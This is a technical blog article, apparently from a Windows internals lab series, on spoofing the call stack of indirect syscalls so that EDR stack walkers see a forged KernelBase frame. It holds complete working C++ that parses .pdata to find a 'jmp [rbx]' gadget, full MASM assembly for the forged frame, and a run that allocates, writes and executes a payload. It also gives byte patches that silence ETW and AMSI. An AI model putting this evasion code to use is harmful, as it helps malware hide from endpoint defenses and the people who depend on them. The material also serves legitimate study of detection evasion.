The last article in this series ended on an honest admission. I had bypassed an EDR-style inline hook with an indirect syscall, and the transition origin was clean — RIP executed syscall from legitimate ntdll.dll memory. But one artifact survived everything: the call stack. And in Lab 4.2, that stack was ugly — when the kernel or an EDR stack walker looked at [RSP] during the syscall, it saw a return address into main.exe. A program no legitimate Windows process calls ntdll from. In a reflectively mapped DLL from the first article, it would be worse: a return address sitting in unbacked Private memory — the single loudest anomaly in user-mode forensics.

This article closes that gap. The goal: when my indirect syscall executes syscall inside ntdll.dll, the call stack should read ntdll.dll ← kernelbase.dll ← main.exe — with the kernelbase.dll frame entirely synthetic, forged to the exact byte offset that Windows’ own unwinder expects. And the proof is the sweetest kind: x64dbg’s Call Stack tab, walking the fake frame and displaying it as real.

x64dbg's Call Stack tab unwinding seamlessly through the spoofed kernelbase frame

That call stack above is a lie, built from first principles: what the stack actually looks like in RAM, how Windows walks it, and why the .pdata section is both the EDR’s map and my forgery template. As always, everything comes from my OS-Internals study repository — labs on my own Windows 11 VM, my own process, every address verified in a debugger.

First, Understand the Honest Stack

Suppose a normal program allocates memory: main() calls KernelBase!VirtualAlloc, which calls ntdll!NtAllocateVirtualMemory. Let me trace every instruction that moves RSP, starting from RSP = 0x1000 as main() is about to call:

; Inside main.exe!main():
0x00007FF600001050:  call KernelBase!VirtualAlloc   ; 5-byte instruction
0x00007FF600001055:  mov  ecx, eax                  ; where main() wants to resume

The call does three things: RSP drops by 8 (0x1000 → 0x0FF8), the return address 0x00007FF600001055 is written to [0x0FF8], and RIP jumps into KernelBase!VirtualAlloc. There, the prologue builds a stack frame — save the registers the function intends to use, carve out workspace:

; Inside KernelBase.dll!VirtualAlloc — prologue:
push rbx         ; RSP = 0x0FF0
push rdi         ; RSP = 0x0FE8
sub  rsp, 0x30   ; RSP = 0x0FB8    — total frame: 8+8+48 = 0x40 bytes
...
call ntdll!NtAllocateVirtualMemory   ; pushes 0x00007FF811112045 (resume address)

Pause inside ntdll!NtAllocateVirtualMemory on the syscall instruction. The stub is a leaf function — it never pushes, never calls, frame size zero — so the return address into KernelBase sits right on top of the stack. The full RAM picture:

STACK WHEN PAUSED ON 'syscall' (RSP = 0x0FB0)
+---------------------+----------------------+------------------------------------------------+
| RAM Address         | 8-Byte Value         | What Is This?                                  |
+---------------------+----------------------+------------------------------------------------+
| 0x0FB0  <-- [RSP]   | 0x00007FF811112045   | Return addr #1 (KernelBase!VirtualAlloc+0x45) |
+---------------------+----------------------+------------------------------------------------+
| 0x0FB8 .. 0x0FE0    | locals (0x30 bytes)  | the 'sub rsp, 0x30' workspace                 |
| 0x0FE8              | saved RDI            | the 'push rdi'                                |
| 0x0FF0              | saved RBX            | the 'push rbx'                                |
|                     |                      | === KernelBase frame = 0x40 bytes total ===   |
+---------------------+----------------------+------------------------------------------------+
| 0x0FF8              | 0x00007FF600001055   | Return addr #2 (main.exe!main+0x55)           |
+---------------------+----------------------+------------------------------------------------+

Finding return address #1 is trivial — it’s at [RSP]. Now the question that unlocks this entire field:

How does Windows (or x64dbg, or an EDR) know return address #2 sits exactly 0x40 bytes deeper — and not 0x20 or 0x80? Between the two addresses are eight slots of unrelated numbers: locals, saved registers, argument spill. Nothing on the stack itself says where the next frame begins.

.pdata: the Compiler’s Cheat Sheet

The answer is that the compiler wrote it down. Every non-leaf function compiled into a Windows x64 binary gets a 12-byte record in the PE file’s .pdata section (DataDirectory[3], the Exception Directory) — a RUNTIME_FUNCTION:

typedef struct _RUNTIME_FUNCTION {
    DWORD BeginAddress; // RVA where the function starts
    DWORD EndAddress;   // RVA where the function ends
    DWORD UnwindData;   // RVA of this function's UNWIND_INFO in .rdata
} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;

The UNWIND_INFO it points to is a list of 2-byte UNWIND_CODE records — one per prologue instruction that moved RSP. For VirtualAlloc’s prologue above, exactly three:

UWOP_ALLOC_SMALL  (OpInfo = 5)  -> (5 * 8) + 8 = 48 bytes   ('sub rsp, 0x30')
UWOP_PUSH_NONVOL  (OpInfo = 7)  -> +8 bytes                 ('push rdi')
UWOP_PUSH_NONVOL  (OpInfo = 3)  -> +8 bytes                 ('push rbx')
                                          total = 0x40 bytes

So a stack walk isn’t memory scanning — it’s table lookup. RtlVirtualUnwind (used by the kernel’s exception dispatch, by x64dbg, by System Informer, by EDR stack walkers) reads [RSP], finds which RUNTIME_FUNCTION covers that address, sums the UNWIND_CODEs, skips exactly that many bytes, and reads the next frame. Deterministic, fast — and built entirely on the assumption that every frame on the stack was created by a real prologue that a real .pdata entry describes.

Hold that assumption. We’re going to keep the table’s math true while making its story false.

The Two Problems With Faking a Frame

The plan: at the moment of syscall, [RSP] should hold an address inside KernelBase.dll, and main.exe’s real return address should sit exactly where KernelBase.dll’s .pdata says the caller’s frame is. Two obstacles:

Problem 1 — ntdll will execute ret through our forgery. Right after syscall, ntdll’s ret pops [RSP] and jumps to it. Put a random KernelBase address there and execution runs off into the middle of an unrelated function and crashes. We need an address inside KernelBase.dll that behaves like a return address — one instruction, executed on the way back, that immediately hands control to our code.

The gadget: FF 23 = jmp qword ptr [rbx], which appears naturally throughout KernelBase.dll’s machine code. It reads an address from [RBX] and jumps there. And RBX is chosen deliberately: it’s non-volatile in the Microsoft x64 ABI — callee-saved — so neither ntdll nor the kernel transition will ever clobber it. Before the syscall we set RBX to point at a variable holding our cleanup code. So the return path becomes: ntdll’s ret → lands on jmp qword ptr [rbx] inside legitimate KernelBase.dll → teleports straight back to our RestoreAfterSyscall. The gadget borrowed, the execution controlled.

Problem 2 — the forged frame must be the exact size the table says. Whatever KernelBase function contains our gadget, its .pdata entry declares a frame size — say 0x48. The stack walker will look for return address #2 at [RSP + 8 + 0x48]. If main.exe’s real return address isn’t at precisely that offset, the unwound stack is broken and the forgery is visible. So we can’t just find any FF 23 — we must find one whose containing function’s frame is large enough, and then subtract exactly that size from RSP before pushing the gadget, so the real return address lands on the byte the table predicts.

Which reframes gadget hunting entirely: we’re not scanning for bytes, we’re scanning .pdata itself — every function, compute its frame size from its own UNWIND_INFO, then scan its machine code for the gadget. The unwinder’s own metadata selects the forgery template.

Parsing .pdata in C++

The UNWIND_CODE is a packed union — 4 bits of opcode, 4 bits of operand info, and some opcodes consume extra USHORT slots (which is why the parser advances i by more than one):

typedef union _UNWIND_CODE {
    struct {
        BYTE CodeOffset;
        BYTE UnwindOp : 4;
        BYTE OpInfo   : 4;
    };
    USHORT FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;

The frame-size calculator — the same arithmetic RtlVirtualUnwind performs, implemented from the opcode table. Note the rejections: functions with chained unwind info or frame pointers (UWOP_SET_FPREG) are skipped, because their frame math isn’t a simple sum:

BOOL CalculateFunctionStackSize(BYTE* moduleBase, PRUNTIME_FUNCTION rtFunc, DWORD* outStackSize)
{
    PUNWIND_INFO unwindInfo = (PUNWIND_INFO)(moduleBase + rtFunc->UnwindData);
    if((unwindInfo->Flags & UNW_FLAG_CHAININFO) != 0 || unwindInfo->FrameRegister != 0)
    {
        return FALSE;
    }
    DWORD totalStackSize = 0;
    for(DWORD i = 0; i < unwindInfo->CountOfCodes; i++)
    {
        BYTE unwindOp = unwindInfo->UnwindCode[i].UnwindOp;
        BYTE opInfo = unwindInfo->UnwindCode[i].OpInfo;

        switch(unwindOp)
        {
            case UWOP_PUSH_NONVOL: // e.g. push rbx (+8 bytes)
                totalStackSize += 8;
                break;
            case UWOP_ALLOC_SMALL: // e.g. sub rsp, 0x30
                totalStackSize += (opInfo * 8) + 8;
                break;
            case UWOP_ALLOC_LARGE: // e.g. sub rsp, 0x120
                if(opInfo == 0)
                {
                    totalStackSize += unwindInfo->UnwindCode[i + 1].FrameOffset * 8;
                    i += 1;
                }
                else {
                    totalStackSize += *(DWORD*)(&unwindInfo->UnwindCode[i + 1]);
                    i += 2;
                }
                break;
            case UWOP_SAVE_NONVOL: // e.g. mov [rsp+0x20], rbx
            case UWOP_SAVE_XMM128:
                i += 1;
                break;
            case UWOP_SAVE_NONVOL_FAR:
            case UWOP_SAVE_XMM128_FAR:
                i += 2;
                break;
            default: // UWOP_SET_FPREG or UWOP_PUSH_MACHFRAME
                return FALSE;
        }
    }
    *outStackSize = totalStackSize;
    return TRUE;
}

The gadget hunter walks .pdata (DataDirectory[3]), requires a frame of at least 0x48 (room for the shadow space plus stack arguments 5 and 6), then scans the function’s code — after its prologue, so we don’t match prologue bytes — for the two-byte FF 23:

BOOL FindGadgetInModule(HMODULE hModule, PVOID* outGadgetAddr, DWORD* outGadgetFrameSize)
{
    BYTE* moduleBase = (BYTE*)hModule;
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(moduleBase + dosHeader->e_lfanew);
    IMAGE_DATA_DIRECTORY exceptionDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    PRUNTIME_FUNCTION rtFuncs = (PRUNTIME_FUNCTION)(moduleBase + exceptionDir.VirtualAddress);
    DWORD numFuncs = exceptionDir.Size / sizeof(RUNTIME_FUNCTION);

    for(DWORD i = 0; i < numFuncs; i++)
    {
        DWORD frameSize = 0;
        if(!CalculateFunctionStackSize(moduleBase, &rtFuncs[i], &frameSize))
        {
            continue;
        }
        if(frameSize < 0x48)
        {
            continue;
        }
        // Scanning the module's machine code to find jmp qword ptr [rbx]
        // instruction
        PUNWIND_INFO unwindInfo = (PUNWIND_INFO)(moduleBase + rtFuncs[i].UnwindData);
        for(DWORD rva = rtFuncs[i].BeginAddress + unwindInfo->SizeOfProlog; rva < rtFuncs[i].EndAddress - 2; rva++)
        {
            if(moduleBase[rva] == 0xFF && moduleBase[rva + 1] == 0x23)
            {
                *outGadgetAddr = (PVOID)(moduleBase + rva);
                *outGadgetFrameSize = frameSize;
                return TRUE;
            }
        }
    }
    return FALSE;
}

On my VM this found kernelbase.dll!SleepEx+0x2A4 (0x00007FFEEE98BBD4) with a .pdata frame size of 0x68 — a real, Microsoft-written function whose frame is big enough to hide mine inside.

The Assembly: 25 Lines of Forgery

The full DoSpoofedIndirectSyscall — the successor of Lab 4.2’s stub, with the two frame-building additions:

DoSpoofedIndirectSyscall PROC
    mov qSavedRbx, rbx
    mov eax, dwGadgetFrameSize
    sub rsp, rax
    mov r10, qword ptr [rsp + rax + 28h]
    mov qword ptr [rsp + 20h], r10
    mov r10, qword ptr [rsp + rax + 30h]
    mov qword ptr [rsp + 28h], r10
    push qGadgetAddr
    lea rax, RestoreAfterSyscall
    mov qRestoreStubPtr, rax
    lea rbx, qRestoreStubPtr
    mov r10, rcx
    mov eax, wSystemCall
    jmp qword ptr [qSyscallInsAddr]

RestoreAfterSyscall:
    mov ecx, dwGadgetFrameSize
    add rsp, rcx
    mov rbx, qSavedRbx
    ret
DoSpoofedIndirectSyscall ENDP

Walk it with real numbers (main() called us, its return address main+0x423 is at [0x0FF8]; gadget SleepEx+0x2A4; frame size 0x68):

[1] sub rsp, 0x68          -> RSP drops by 0x68; main's return address
    (synthetic frame)        stays untouched, now at [RSP + 0x68]
[2] copy Arg5/Arg6         -> stack args move into the synthetic frame so the
    (spill slots)            syscall finds them at [RSP+0x28]/[RSP+0x30]
[3] push qGadgetAddr       -> [RSP] = SleepEx+0x2A4  (INSIDE KernelBase.dll)
    main's return address now sits at exactly [RSP + 8 + 0x68]
[4] jmp -> ntdll + 0x12    -> syscall executes inside ntdll.dll

WHAT THE STACK WALKER SEES, PAUSED ON 'syscall':
    Frame 0 (RIP):      ntdll!NtAllocateVirtualMemory+0x12     clean
    Frame 1 ([RSP]):    kernelbase!SleepEx+0x2A4               reads .pdata -> 0x68
    Frame 2 ([RSP+8+0x68]): main.exe!main+0x423                found EXACTLY where
                                                                  the table predicted
    -> ntdll <- kernelbase <- main:  an unbroken, fully-unwindable chain

[5] syscall returns, ntdll's 'ret' pops SleepEx+0x2A4 and jumps into KernelBase
[6] 'jmp qword ptr [rbx]' (FF 23) teleports to RestoreAfterSyscall
[7] add rsp, 0x68; restore RBX; ret  -> back in main(), stack byte-identical

The design detail I’m most satisfied with: main’s return address is never popped and stored anywhere. The naive approach — save it to a global, push the gadget, restore it later — creates a frame the unwinder can’t traverse. Leaving it in place means the forged KernelBase frame sits below a genuine, untouched return address at exactly the offset .pdata demands — so the unwinder doesn’t just see a plausible top frame, it walks through the fake frame and finds the real chain behind it. The stack doesn’t merely look clean at frame 1; it unwinds clean all the way to RtlUserThreadStart.

One Fix Since Last Time: The Resolver Now Fails Closed

Readers of the previous article may remember the callout: if Halo’s Gate found no clean neighbor within 500 stubs, ResolveSyscallEntry fell through, left the SSN at whatever the caller initialized, and returned TRUE — a fail-open path that would have invoked syscall slot 0. That weakness is now closed in the lab. Callers initialize the SSN to -1 (impossible for a real SSN), the resolver returns FALSE when it couldn’t improve on that value, and main aborts before any syscall:

DWORD ssnNtAllocateVirtualMemory = -1;
...
ResolveSyscallEntry(baseNtAllocateVirtualMemory, &ssnNtAllocateVirtualMemory, &legitimateInstrAddrNtAllocateVirtualMemory);
...
if(ssnNtAllocateVirtualMemory == -1 || ssnNtProtectVirtualMemory == -1 || ssnNtWriteVirtualMemory == -1)
{
    printf("[-] Couldn't recover SSNs for the functions, NtAllocateVirtualMemory: 0x%X NtProtectVirtualMemory: 0x%X NtWriteVirtualMemory: 0x%X\n", ssnNtAllocateVirtualMemory, ssnNtProtectVirtualMemory, ssnNtWriteVirtualMemory);
    return 1;
}

A detector that returns nothing is an alarm, not a pass — now the code enforces it, not just the prose.

The Lab Run

The full sequence on my VM — gadget discovery, simulated E9 hook on NtAllocateVirtualMemory, Halo’s Gate recovery, then allocate/write/protect through spoofed-indirect and direct syscalls, executing the six-byte payload from the first article:

c:\Users\cyber\OneDrive\Desktop\labs\lab-4.3>main.exe
[!] NT functions resolved successfully.
[+] Found a gadget in KernelBase.dll at 0x00007FFEEE98BBD4 with stack size 0x68
[+] NtAllocateVirtualMemory first 8 bytes before the EDR hook: 4C 8B D1 B8 18 0 0 0
[!] Patching first 5 bytes of NtAllocateVirtualMemory.
[+] Patched successfully. The first 8 bytes of NtAllocateVirtualMemory after patch: E9 AA BB CC DD 0 0 0
[!] Resolving SSNs for NT functions.
[!] WARNING: A hook was detected at: 0x00007FFEF1162040
[+] Recovered SSN for the NtAllocateVirtualMemory: 0x18 and syscall gadget address: 0x00007FFEF1162052, NtProtectVirtualMemory: 0x50 and syscall gadget address: 0x00007FFEF1162752, NtWriteVirtualMemory: 0x3A and syscall gadget address(not used for direct syscall): 0x00007FFEF1162492
[!] Making the indirect syscall for NtAllocateVirtualMemory.
[+] Spoofed indirect syscall successful, copying payload with direct syscall and protecting the allocated memory.
[+] Copied the payload and protected allocated memory successfully. Triggering execution.
[+] Shellcode function returned: 1337
[!] Restoring NtAllocateVirtualMemory hook.
[+] Restored NtAllocateVirtualMemory hook.

Console: gadget found at SleepEx+0x2A4 with 0x68 frame, hook detected, spoofed syscalls executing

Now the debugger proof. Paused on syscall inside ntdll.dll (0x00007FFEF1162052), the stack pane tells the whole story in two lines:

Paused on syscall: [RSP] holds kernelbase!SleepEx+2A4, and 0x70 bytes below it, main+0x423

[RSP] = 0x000000FF8B8FFA18 → kernelbase.SleepEx+2A4. Exactly 0x70 bytes lower (0x68 frame + 8 return address) at 0x000000FF8B8FFA88 → main.main+423. That is the screenshot at the top of this article — x64dbg’s Call Stack tab unwinding ntdll.NtAllocateVirtualMemory+12 → kernelbase.SleepEx+2A4 → main.main+423 → BaseThreadInitThunk → RtlUserThreadStart, using RtlVirtualUnwind and my forged frame’s metadata, and finding no seam.

Two more screenshots complete the return journey. Stepping past ntdll’s ret lands inside Module: kernelbase.dll — on the borrowed FF 23:

The moment of return: paused inside kernelbase.dll on jmp qword ptr ds:[rbx]

And one more step, the gadget teleports us home — RestoreAfterSyscall deallocating the 0x68-byte synthetic frame, restoring RBX, returning STATUS_SUCCESS to main():

RestoreAfterSyscall: add rsp, 0x68, restore RBX, ret to main

Two Findings Worth Their Own Sections

The x64dbg CallstackCache trap. My first attempt at the money screenshot showed DoSpoofedIndirectSyscall+2A as frame 0 instead of ntdll — a wrong result that took real debugging to explain. x64dbg caches unwound call stacks keyed by stack pointer alone; if you single-step (F7) over push qGadgetAddr and then step through the jmp, the debugger caches a frame computed from the intermediate state and — because jmp doesn’t change RSP — serves the stale entry when you inspect the stack at syscall. Breaking directly on ntdll!NtAllocateVirtualMemory+0x12 with F9 (no single-stepping through the stub) bypasses the cache and shows the true live stack. Lesson: when a debugger agrees with your exploit too neatly or disagrees too weirdly, ask what the debugger itself cached.

Single frame is enough for a disk-backed EXE — not for unbacked memory. My payload runs from main.exe, so one synthetic KernelBase frame restores a natural-looking ntdll ← kernelbase ← main.exe chain. When execution comes from unbacked Private memory (a reflectively mapped DLL), a single frame only moves the anomaly one level down — the walker still eventually reaches frames pointing into non-image memory. Full-chain stack spoofers (SilentMoonwalk, Draugr, VulcanRaven’s approach) push an entire synthetic chain — KernelBase → kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — terminated by a NULL return address, which RtlVirtualUnwind treats as the end of the stack. The walker never reaches the unbacked frames at all, because the forged thread-start story is where every legitimate thread’s stack does end.

The Rest of the Ring 3 Telemetry: ETW and AMSI

Call-stack walking is the third leg of user-mode telemetry. The other two live in your process as well, and Module 4.3’s notes cover both:

ETW. User-mode components (.NET, PowerShell, WinINet, the ntdll loader) emit events through ntdll!EtwEventWrite → the NtTraceEvent syscall. Patching its first bytes with 33 C0 C3 (xor eax, eax; ret) silently no-ops your process’s user-mode ETW writes. Two caveats keep this honest: kernel ETW-Threat-Intelligence emits from ntoskrnl directly and is untouched by any Ring 3 patch — and any .text modification flips the page to copy-on-write private memory, which is exactly the byte-mismatch that integrity scanners (PE-sieve, Moneta, EDR sweeps) exist to catch.

AMSI. Scripting and managed runtimes call amsi!AmsiScanBuffer on buffers before executing them; the classic patch returns E_INVALIDARG (mov eax, 0x80070057; ret) so the buffer never reaches the AV provider. Same integrity cost, same trade.

Which is why modern evasion research keeps moving toward patchless techniques — hardware breakpoints (DR0–DR3) plus vectored exception handlers intercept without writing a single byte of .text — the same Class-B ideas from my last article’s comment section, now pointing at ETW/AMSI instead of syscall stubs.

To Be Continued

With this module, the Windows x64 track of OS-Internals is complete for now: Rings and the syscall boundary → virtual memory and W^X → PEB/TEB → the PE format → EAT/IAT/relocations → the reflective loader → hook bypass and syscalls → and now the call stack itself. Three articles, one progression: each one removed one more thing an investigator could trust.

I don’t yet know where the series goes from here — and I’d rather leave that open than promise a direction I haven’t walked. Every lab and note behind these three articles lives in the repository, and the rule stays the same whatever comes next: I write about it once I’ve built it and broken it.

To be continued.